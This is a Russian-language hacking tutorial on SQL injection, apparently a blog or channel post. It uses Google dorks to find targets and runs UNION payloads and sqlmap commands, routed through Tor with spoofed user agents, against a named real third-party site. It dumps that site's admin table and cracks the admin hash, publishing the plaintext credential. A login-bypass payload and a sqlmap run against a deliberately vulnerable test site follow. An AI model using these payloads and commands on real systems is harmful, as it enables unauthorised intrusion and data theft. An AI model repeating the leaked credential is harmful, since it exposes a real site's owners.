SQL Injection.

SQL Injection.

The Way

Тема дня

  • Всем Хола!
  • Сегодня пост о так званых SQL Injection (SQLi, Укол, Скуля). Рассмотрим уязвимость на примере реального сайта, разберём базовые примитивные ситуации, виды SQLi, и адекватно проведём атаку.

Начальная информация

  • SQLi - Уязвимость которая возникает когда отсутствует фильтрация входных параметров, при внедрении динамического параметра в SQL запрос. Позволяет читать, редактировать, удалять базу данных. Так же позволяет дефейсить ту или иную страницу сайта, заливать веб шелл. Является одной из самых опасных, и распространёных уязвимостей.
  • SQL - Язык общения с базой данных, используется практически во всех встречающихся нам, сайтах.

Базовые виды SQLi:

  • Union-Based SQLi - Вид уязвимости, при которой данные с Базы Данных (БД) выводятся напрямую. Так же, это один из самых опасных, но уже крайне редко встречающихся видов.
  • Error-Based SQLi - Вид уязвимости, при котором данные выводятся в ошибке СУБД. Это довольно популярный тип скули, в дальнейшем вы будете не раз встречать их при массовых поисках таргета.
  • Boolean-Based SQLi - В случае этого вида уязвимости, данные перебираются посимвольно. Если символ в БД совпадает с тем что внедряем мы - будет возвращаться boolean значение True.
  • Time-Based SQLi - Этот вид уязвимости, один из самых неудобных и геморных в процессе експлуатации. Символы в базе данных, определяются временем отклика БД на запрос. Так чтобы сдампить БД средних размеров - у вас может уйти больше недели. Так же примечание: time-based чувствительны к качеству интернет соединения, в том числе и стабильности вашего proxy сервера. Так, вы не можете использовать ноду тора, потому что это будет искажать результаты вывода.

Дисклеймер

  • Начнём.

Поиск таргета. Google dorks

  • Google Dorks - Это метод поиска информации и потенцальних уязвимостей, посредством использования Google поисковика. Так званые "гугл дорки" пользуются популярностью у пентестеров, и тем более у хакеров (зачастую дефейсеров которые массово ищут одну и ту же уязвимость).

Базовые операторы google:

  1. site:"site.com" - Привязывает поиск, к конкретному сайту.
  2. filetype:"txt,pdf,jpg" - Ищет файлы, с задаными расширениями.
  3. intext:"Admin" - Ищет страницы, с указаным текстом.
  4. inurl:"page?id=" - Ищет страницы с указаным паттерном.
  5. OR (условный оператор ИЛИ) - позволяет создать запрос, с разными параметрами разделяя их оператором OR.
  6. * - Используется как маска в запросе когда мы ищем по паттерну, но это понятие слишком размытое. Пример: "inurl:page.php?*=".
  • Давайте составим дорк запрос, для массового поиска предположительно уязвимых страниц:
inurl:"page.php?id="
  • Допустим, гугл выдал нам эту страницу:
  • Как видим, в строке браузера url, идентично совпадающий с искомым паттерном:
http://musculoskeletalsociety.in/page.php?id=1
  • Давайте проверим, может ли эта страница быть уязвимой к SQLi. Для этого в конце ссылки, а именно в значение id (1), добавим единичную кавычку:
http://musculoskeletalsociety.in/page.php?id=1'
  • Как мы видим, вместо данных с параметра id, нам вернулась следующая ошибка:
Error :You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
  • Это значит что наша кавычка, нарушила синтаксис SQL запроса. А это уже значит что как в случае с XSS - мы можем встроить туда наш код.

Примечание:

  • Помимо банальной ошибки SQL синтаксиса, эта кавычка может искажать содержимое страницы. Так если изменяя айди параметра новыми значениями, тот будет выдавать вам определённый контент. Пример:
https://site.com/page.php?photo=1
  • Если изменять айди в параметре фото, можно получить все имеющиеся в таблице картинки. А если добавить в конец параметра единичную кавычку - ничего не будет выводиться. Это должно наталкивать на мысль о том, что страница уязвима. О том как её проексплуатировать - будет рассказано ниже.

Експлуатация SQLi

  • Давайте рассмотрим как выглядит такой запрос, и как мы его можем модифицировать.
SELECT * FROM pages WHERE id=1
  • Этот SQL запрос, получит значение параметра id (1), и достанет все данные с таблицы pages. Давайте мы внедрим свой SQL запрос в даный параметр.
  • Для начала, получим все возможные страницы, чтобы найти принтуемые, в которых мы можем вывести нужные данные с БД:
SELECT * FROM pages WHERE id=1 UNION SELECT 1--
  • Отсюда наш запрос:
-1+union+select+1+--+-
  • Почему "-1" вместо "1"? Это для того чтобы не выводить страницу с айди 1, а так как "-1" не является существующим айди, то мы пишем его. Плюсы в SQL заменяют пробелы, а 2 минуса - это комменатрий. Всё что после "--" не будет обработано.
  • Давайте добавим его в запрос, и посмотрим результат:
http://musculoskeletalsociety.in/page.php?id=-1+union+select+1+--+-
  • В ошибке говорится, что это не корректное количество столбцов в таблице, давайте мы попробуем найти их количество:
-1+order+by+10+--+-
  • В ошибке пишется, что 10 слишком много. Давайте попробуем 4:
  • Так, отсюда исходит что 4 это уже мало. Тогда наше значение, от 4 до 10. Попробуем взять среднее число, 7 или 8:
  • Окей, диапазон уже меньше. От 4 до 7, давайте попробуем 6:
  • Отсюда сделаем вывод, что последний айди в возможном списке, это 5. Давайте составим запрос, где по очереди пересчитаем все колонки:
-1+union+select+1,2,3,4,5+--+-
  • Небольшой успех, но давайте мы попробуем применить эти страницы для вывода какой-то информации, например текущую БД:
-1+union+select+1,database(),3,4,5+--+-
  • Давайте посмотрим версию MariaDB:
-1+union+select+1,database(),version(),4,5+--
  • Кто ещё не понял, эти произвольные команды мы вводим на месте тех айди, которые страница вывела при запросе "-1+union+select+1,2,3,4,5+--+-", то есть 2 и 3.
  • Давайте попробуем получить название всех имеющихся БД в общей БД:
-1+union+select+1,schema_name,3,4,5+from+information_schema.schemata+--+-
  • Окей, это была ручная практика експлуатации SQLi, в строке браузера. Но, есть ещё один вариант експлуатации SQLi, а именно форма логина.

Обход аутентификации с помощью SQLi

  • Давайте представим такую ситуацию, у нас есть таблица users, где лежит логин и пароль админа:
  • Если сделать запрос "SELECT * FROM users", нам выведет все колонки и их значения, с таблицы users.
  • Давайте напишем SQL запрос, который будет передавать с формы на странице логина, юзернейм и пароль к нему:
SELECT * FROM users WHERE username = 'admin2' AND password = 'admin';
  • Где юзернейм admin2, а пароль admin.
  • В случае если такая строчка (логин:пароль) есть в таблице users, и оба значения = True, то этот True возвращается на страницу логина, и та говорит юзеру: "Вы успешно залогированы под юзером admin2".
  • Если же пара "login:password" не существует, то возвращается значение False, и на странице логина появляется сообщение: "Для логина admin2 нету такого пароля."
  • Давайте посмотрим, как мы можем повлиять на этот запрос, чтобы он вернул True, и нам не пришлось использовать пароль.
  • Мы знаем, что есть логин admin2, но не знаем его пароля. В таком случае, мы можем ввести правильные данные только в форму логина. Теперь, составим байпасс через форму логина:

Теперь разберём что и как тут работает.

  • Сначала мы закрыли единичной кавычкой наш логин. После чего пишем ИЛИ 1=1, а поскольку 1=1 это True, то SQL запрос обязан вернуть True, для логина admin2. двойной дефис как говорилось ранее, играет роль комментария, но в случае если после него добавить какой-то символ через пробел, или же сам пробел. Тогда проверка на пароль отрезается, и запрос даже не проверяет существует ли такой пароль у этого юзера.
  • Давайте посмотрим как работает этот байпасс:
SELECT * FROM users WHERE username = 'admin2' or 1=1 -- ' AND password = 'не знаю я пароль';
  • Как видим, у нас получилось вернуть этот True, а значит мы выполнили иньекцию.
  • Отсюда наш пейлоад для формы "Login":
admin2' or 1=1 --
  • В форму пароля, можно ввести любой рандомный текст поскольку он проверяться сервером не будет.

SqlMap

  • Это всё хорошо, но кто в 2021 году будет вручную експлуатировать SQLi? Ответ очевиден - никто!
  • Поэтому для таких нужд написали просто замечательный инструмент, и имя ему SqlMap. Давайте установим его:
$ git clone https://github.com/sqlmapproject/sqlmap && cd sqlmap
$ python3 sqlmap.py -h
  • Нас встречает меню использования SqlMap, давайте чекнем что нам предлагают:
  • Как видим, тут довольно много опций, но чтобы получить более детальное меню, пропишите "python3 sqlmap.py -hh".
  • Давайте разберёмся с основными опциями, которые вам могут понадобиться в ближайшее время:
  1. --url="http://site.com/page.php?id=1" - Указать ссылку на уязвимую страницу.
  2. --random-agent - Постоянный спуфинг юзер агента.
  3. --tor - Использует TOR прокси (по умлочанию на 9050 порту). Для её работы, пропишите в новом терминале "tor".
  4. --proxy-cred="протокол://айпи:порт:логин:пароль" - Использует ваш прокси с логином и паролем.
  5. --batch - Выполняет действия по умолчанию (вам не нужно никак взаимодействовать с sqlmap во время его работы).
  6. -m - Указывает на файл, где построчно прописаны ссылки-таргеты.
  7. --dbs - При успешной експлуатации SQLi, выводит все БД.
  8. --level=(1/2/3/4/5) = Указывает уровень детальности сканирования, чем выше тем плотнее идёт тестирование. По умолчанию 1
  9. --risk=(1/2/3) - Указывает уровень риска, на котором будет проводиться тестирование. По умолчанию 1
  10. -D <название СУБД> - Указывает на взаимодействие с даной БД.
  11. -T <название таблицы> - Указывает на взаимодействие с даной таблицей.
  12. -С <название колонки> - Указывает на взаимодействие с даной колонкой.
  13. --tables - Получить названия таблиц в БД.
  14. --columns - Получить названия колонок в таблице.
  15. --dump - Сдампить названия текущих таблиц/колонок/их содержимое.
  16. --dump-all - Сдампить всю БД.
  17. --tamper=<tamper скрипт> - Позволяет воспользоваться байпассом для того или иного WAF.
  18. --sql-shell - Запустить шелл, для прямого взаимодействия с БД через терминал.
  • Теперь, приступим к експлуатации уязвимости.

Эксплуатация

SQLi в уязвимом параметре

  • Oткрываем терминал, и пробуем проверить уязвима ли наша страница:
sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --tor --random-agent --dbs --batch
  • Как видите, он нашёл здесь сразу 4 вида SQLi, и как бонус XSS (выводимый текст в ошибке может использоваться как HTML иньекция):
  • Давайте посмотрим какие таблицы находятся в БД "culosmus_muscul":
$ sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent --batch -D culosmus_muscul --tables
  • Тут неплохой такой интерес для нас имеет таблица "admin". Давайте просмотрим колонки внутри таблицы:
$ sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent --batch -D culosmus_muscul -T admin -columns


  • Отлично, давайте сдампим таблицу, и посмотрим что внутри неё:
$ sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent --batch -D culosmus_muscul -T admin --dump 
  • Как видите, SqlMap нашёл в таблице пароль, зашифрованый в md5.
  • И, он начал его брутить посредством встроеного словаря. Толку от этого мало, шанс что SqlMap потянет брут хешей довольно низкий. А вдруг там 10к таких паролей? Вы будете до старости их взламывать, а профита как не было, так и не будет.
  • Давайте отключим опцию --batch, которая заставляет SqlMap по умолчанию начинать брут хешей, и просто сдампим таблицу:
  • А теперь, давайте мы поставим полный дамп БД, пока мы будем искать методы взлома нашего хеша:
$ sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent --dump-all 
  • Так, приступим к нашему хешу:
25a41cec631264f04815eda23dc6edd9
  • Первым делом, советую попробовать сервис CrackStation:
https://crackstation.net
  • Он сам определяет тип хеша, и ищет к нему пароль. Так же, приятным бонусом является то что он бесплатный, и позволяет загружать до 20 хешей за 1 раз.
  • Увы, но он не смог найти пароль. Давайте заюзаем старый но надёжный метод, просто загуглим наш хеш. Может он где-то светился:
  • Как видите, нам прям таки с ходу светят пароль:
  • И мы имеем пару "admin:vizag@123", осталось только найти место, куда эти данные авторизации можно воткнуть.
  • В этом нам могут помочь Nmap, Dirsearch, Security-admin. Nmap для скана екзотичных портов, где могут поднять админ панель. Dirsearch для поиска всех url-ов, в том числе и админ панелей. Security-admin вовсе только это и умеет.
  • Информация о выше упомянутых инструментах - есть на канале, попробуйте просто поискать.
  • Но вот не задача, Security-admin нашёл только эту страницу:
  • А Nmap в паре с Dirsearch только CPanel на 2082 порту:
  • На первой панели, ничего нету. Она не делает никаких запросов, это просто страница-пустышка. А учётные даные админа на CPanel не прокатили. Вернёмся к дампу БД сайта:
  • Поскольку на написание этой статейки у меня пошёл уже второй день, то мне пришлось прервать дамп БД information_chema. Она не предствляет из себя практически никакого интереса, это стандартная СУБД которая есть практически в каждой БД.
  • Давайте опять пропишем команду для вывода названий БД, чтобы посмотреть куда сохранился вчерашний дамп:
sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent -dbs
  • Если вы будете запускать не от рута, то собственно и путь к папке с дампами будет другой.
  • Давайте посмотрим что внутри файлов с дампом:
  • Теперь просто открываете их в каком-то файло-редакторе по типу Libre-
    Office
    .

.SQLi в форме логина.

  • Для этого, воспользуемся сайтом который предоставляет намеренно оставленые уязвимости, в том числе и SQLi:
http://testphp.vulnweb.com/login.php
  • Тут дефолтный логин "test", давайте попробуем залогинится под ним, юзая пароль "velial000":
  • А вот если залогинится под "test:test":
  • Наша задача, найти байпасс который сможет залогинить нас под логином "test". Для этого воспользуемся тем же софтом для SQLi, что и в предыдущий раз.
  • Давайте с помощью Burp Suite перехватим наш запрос, и передадим его нашему SqlMap.
  • Жмём Forward, и вводим данные в форму логина:
  • А вот и наш POST запрос, который мы должны дать SqlMap. Сохраняем его, и вставляем в текстовый файл:
  • Время запускать:
sudo python3 sqlmap.py -r sqlmap-req.txt -p uname --batch
  • Разбор флагов:
  1. -r <файл> - Файл в котором сохранён запрос.
  2. -p <название параметра (uname)> - Параметр в который будет делаться иньекция. В нашем случае он зовётся uname (чекай скриншот выше).
  • Отсюда мы получаем следующий байпасс:
test' AND (SELECT 1340 FROM (SELECT(SLEEP(1)))MSDf)-- RmMM
  • Пробуем применить его к нашему юзеру "test":
  • Давайте допишем к нашей команде ещё один флаг, а именно --dbs:
sudo python3 sqlmap.py -r sqlmap-req.txt -p uname --batch --dbs
  • И это успех! Мы смогли обойти защиту для даного логина, и смогли получить доступ ко всей БД.

Дополнительные материалы

  • Статьи на тему SQL Injection которые я рекомендую к прочтению:
  1. https://hackware.ru/?p=3362
  2. https://defcon.ru/web-security/2784
  3. https://proglib.io/p/vzlamyvaem-sayty-shpargalka-po-sql-inekciyam-2019-12-21
  4. https://xakep.ru/2011/12/06/57950
  5. https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/PT-devteev-Advanced-SQL-Injection.pdf
  • Видео Loi Liang Yang на тему SQLi (советую посмотреть его контент):
  1. https://youtu.be/xhxCUCRb09o
  2. https://youtu.be/cx6Xs3F_1Uc
  • Списки дорков и SQLi пейлоадов:
  1. https://github.com/payloadbox/sql-injection-payload-list
  2. https://cybersguards.com/google-dorks-list-latest-sql-dorks-list-fresh-update

Заключение

  • SQL иньекции это на самом деле, довольно опасная уязвимость которая позволяет провернуть атаку как на юзера, так и на сервер. Последствия для атакуемого ресурса могут быть катастрофичными.
  • Мы можем рассуждать здесь о многих нюансах этой уязвимости, о том почему нельзя сделать иньекцию своих данных в БД с помощью INSERT в связке "MySQL+PHP" (с подальшим хранением их внутри), или о том почему WAF блокирует ваши запросы. На это уйдёт крайне много времени (и вашего, и моего). Я показал как работает эта уязвимость, как експлуатируется, и чем это грозит жертвам.
  • Но массовый взлом сайтов, не так привлекателен как целенаправленый. Во втором случае, вы можете доказать и себе и окружающим, что вы не тупой скрипт-кидди, а человек который может сделать что-то сам, не выёбывая всё что плохо прикрыто.
  • О этом следующий пост, будем обучаться сбору предположительно уязвимых страниц, разделять их на тематические списки, определять мх доступность, и тестировать на уязвимости которые я описал в двух последних постах (XSS, SQLi).




Report Page